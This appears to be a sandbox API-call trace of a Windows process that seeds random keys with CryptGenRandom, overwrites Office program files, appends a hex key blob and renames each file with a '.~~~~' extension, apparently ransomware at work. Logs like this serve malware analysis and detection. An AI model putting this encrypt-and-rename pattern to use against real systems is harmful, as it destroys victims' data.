	[0132.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809920
	[0132.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809920 | out: hHeap=0x300000) returned 1
	[0132.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.632] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0132.633] GetLastError () returned 0x0
	[0132.633] GetLastError () returned 0x0
	[0132.633] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0132.633] GetLastError () returned 0x0
	[0132.633] GetLastError () returned 0x0
	[0132.635] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffff6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.635] WriteFile (in: hFile=0x120, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x94, lpOverlapped=0x0) returned 1
	[0132.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.637] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.637] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.637] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.637] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.637] CloseHandle (hObject=0x120) returned 1
	[0132.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f09b0
	[0132.638] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\header.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HEADER.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\header.gif.~~~~")) returned 1
	[0132.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f09b0 | out: hHeap=0x300000) returned 1
	[0132.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.648] GetLastError () returned 0x0
	[0132.649] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0132.650] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.650] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.650] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25264035099) returned 1
	[0132.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb881ac10, dwHighDateTime=0x1d60e1e)) 
	[0132.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28098e8
	[0132.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28098e8 | out: hHeap=0x300000) returned 1
	[0132.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.651] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0132.651] GetLastError () returned 0x0
	[0132.652] GetLastError () returned 0x0
	[0132.652] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0132.652] GetLastError () returned 0x0
	[0132.652] GetLastError () returned 0x0
	[0132.654] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffe10, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.654] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1f0, lpOverlapped=0x0) returned 1
	[0132.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0132.657] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.657] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.658] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.658] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.658] CloseHandle (hObject=0x120) returned 1
	[0132.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f09b0
	[0132.658] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_off.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_OFF.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_off.gif.~~~~")) returned 1
	[0132.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f09b0 | out: hHeap=0x300000) returned 1
	[0132.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.660] GetLastError () returned 0x0
	[0132.660] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0132.661] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.661] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.662] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25265191479) returned 1
	[0132.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8840d70, dwHighDateTime=0x1d60e1e)) 
	[0132.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28098b0
	[0132.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28098b0 | out: hHeap=0x300000) returned 1
	[0132.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.663] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0132.663] GetLastError () returned 0x0
	[0132.663] GetLastError () returned 0x0
	[0132.663] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0132.663] GetLastError () returned 0x0
	[0132.663] GetLastError () returned 0x0
	[0132.666] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffbff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.666] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x401, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x401, lpOverlapped=0x0) returned 1
	[0132.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0132.668] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.668] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.669] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.669] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.669] CloseHandle (hObject=0x120) returned 1
	[0132.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f09b0
	[0132.669] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_on.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_ON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_on.gif.~~~~")) returned 1
	[0132.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f09b0 | out: hHeap=0x300000) returned 1
	[0132.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.671] GetLastError () returned 0x0
	[0132.675] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0132.676] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.676] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.676] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25266634113) returned 1
	[0132.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8866ed0, dwHighDateTime=0x1d60e1e)) 
	[0132.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809840
	[0132.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809840 | out: hHeap=0x300000) returned 1
	[0132.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.677] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0132.677] GetLastError () returned 0x0
	[0132.678] GetLastError () returned 0x0
	[0132.678] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0132.678] GetLastError () returned 0x0
	[0132.678] GetLastError () returned 0x0
	[0132.680] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff4f2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.680] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xb0e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0xb0e, lpOverlapped=0x0) returned 1
	[0132.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0132.682] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.683] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.683] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.683] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.683] CloseHandle (hObject=0x120) returned 1
	[0132.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0132.683] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert.css.~~~~")) returned 1
	[0132.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0132.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.685] GetLastError () returned 0x0
	[0132.686] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0132.687] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.687] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.687] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25267714456) returned 1
	[0132.687] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb888d030, dwHighDateTime=0x1d60e1e)) 
	[0132.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809808
	[0132.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809808 | out: hHeap=0x300000) returned 1
	[0132.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.688] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0132.688] GetLastError () returned 0x0
	[0132.688] GetLastError () returned 0x0
	[0132.688] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0132.688] GetLastError () returned 0x0
	[0132.689] GetLastError () returned 0x0
	[0132.690] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffe8d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.690] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x173, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x173, lpOverlapped=0x0) returned 1
	[0132.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0132.692] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.692] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.693] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.693] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.693] CloseHandle (hObject=0x120) returned 1
	[0132.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f09b0
	[0132.693] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Discussion.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\discussion.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Discussion.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\discussion.css.~~~~")) returned 1
	[0132.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f09b0 | out: hHeap=0x300000) returned 1
	[0132.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.695] GetLastError () returned 0x0
	[0132.696] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0132.697] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.697] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
